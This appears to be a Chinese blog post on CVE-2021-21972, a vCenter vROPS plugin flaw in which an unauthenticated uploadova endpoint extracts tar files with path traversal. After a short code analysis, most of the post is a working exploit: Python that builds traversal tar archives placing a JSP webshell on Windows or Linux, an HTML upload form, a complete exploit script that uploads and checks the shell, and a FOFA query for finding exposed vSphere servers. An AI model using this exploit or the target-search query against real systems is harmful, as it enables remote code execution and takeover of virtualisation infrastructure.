CVE-2021-21972

CVE-2021-21972

vcenter server的 vROPS 插件存在未授权接口,其中 uploadova 接口允许上传ova模板文件,但是并未对文件进行类型判断

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    @RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;

for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}

logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}

TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();

servlet直接匹配 /uploadova 接口,检查请求数据包含的 uploadFile 参数,上传成功返回’SUCCESS’,将临时文件置空并解包tar文件。

1
2
3
4
5
6
7
8
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();

这里将分解的tar文件直接拼接在了 /tmp/unicorn_ova_dir 目录后面,若解压后的文件包含 ../ 则可造成目录穿越。

思路

构造包含 ../ 的tar文件,通过未授权接口 uploadova 上传。

  • linux:内网机器可以直接构造 ../../home/vsphere-ui/.ssh/authorized_keys 写入公钥
  • windows:写入webshell。

检测

访问 https://ip/ui/vropspluginui/rest/services/uploadova 返回405既证明漏洞存在。

复现

构造含有回溯符的tar文件

可以利用python的 tarfile 库文件

  • windows

    1
    2
    3
    4
    import tarfile
    tf = tarfile.open('test.war', 'w')
    tf.add('123.jsp','..\\..\\ProgramData\\VMware\\vCenterServer\\runtime\\vsphere-ui\\server\\work\\deployer\s\\global\\40\\0\\h5ngc.war\\resources\\123.jsp')
    tf.close()
  • linux

    1
    2
    3
    4
    import tarfile
    tf = tarfile.open('test.war', 'w')
    tf.add('123.jsp','../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/123.jsp')
    tf.close()

    上传文件

我测试的时候直接构造的html上传表单

1
2
3
4
5
6
7
<div class="vcenter_rce">
<form enctype="multipart/form-data" action="https://xxx/ui/vropspluginui/rest/services/uploadova" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000">
Choose an image to upload:<br><br>
<input name="uploadFile" type="file"><br>
<br>
<input type="submit" name="Upload" value="Upload">

python也很方便,调用上传文件的接口即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = sys.argv[1]
files = {'uploadFile': open('payload/Linux.tar', 'rb')}
url1 = url + '/ui/vropspluginui/rest/services/uploadova'
url2 = url + '/ui/resources/test1.jsp'

try:
a = requests.post(url1,files=files,verify=False)
if a.status_code ==200 and 'SUCCESS' in a.content:
print '[+] upload success'
if requests.get(url2,verify=False).status_code == 200:
print '[+] exploited'
else:
print '[-] failed'
else:
print '[-] failed'
except:
print '[-] failed'

webshell的地址只针对默认的vsac,并不通配,所以上传吼请求一下判断是否上传成功

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import urllib3
import sys
import tarfile

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = sys.argv[1]
file_in = sys.argv[2]

def create_tar(file_in):
# windows_shell
tf = tarfile.open('win.tar', 'w')
tf.add(file_in,'..\\..\\ProgramData\\VMware\\vCenterServer\\runtime\\vsphere-ui\\server\\work\\deployer\s\\global\\40\\0\\h5ngc.war\\resources\\'+file_in.split('\\')[-1])
tf.close()
# linux_shell
tf1 = tarfile.open('lin.tar', 'w')
tf1.add(file_in,'..\\..\\usr\\lib\\vmware-vsphere-ui\\server\\work\\deployer\\s\\global\\42\\0\\h5ngc.war\\resources\\'+file_in.split('\\')[-1])
tf1.close()
return

def uoloadova(url,files):
url1 = url + '/ui/vropspluginui/rest/services/uploadova'
url2 = url + '/ui/resources/test1.jsp'
try:
a = requests.post(url1,files=files,verify=False)
if a.status_code ==200 and 'SUCCESS' in a.content:
print '[+] tar upload success'
if requests.get(url2,verify=False).status_code == 200:
return True
else:
return False
else:
return False
except:
return False



create_tar(file_in)
files1 = {'uploadFile': open('lin.tar', 'rb')}
files2 = {'uploadFile': open('win.tar', 'rb')}
if uoloadova(url,files1) == True or uoloadova(url,files2) == True:
print '[+] exploited'
print '[+] your file uploaded is : '+ url + '/ui/resources/'+file_in.split('\\')[-1]
else:
print '[-] failed'


fofa搜索语句

1
body="VMware vSphere is virtual"

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!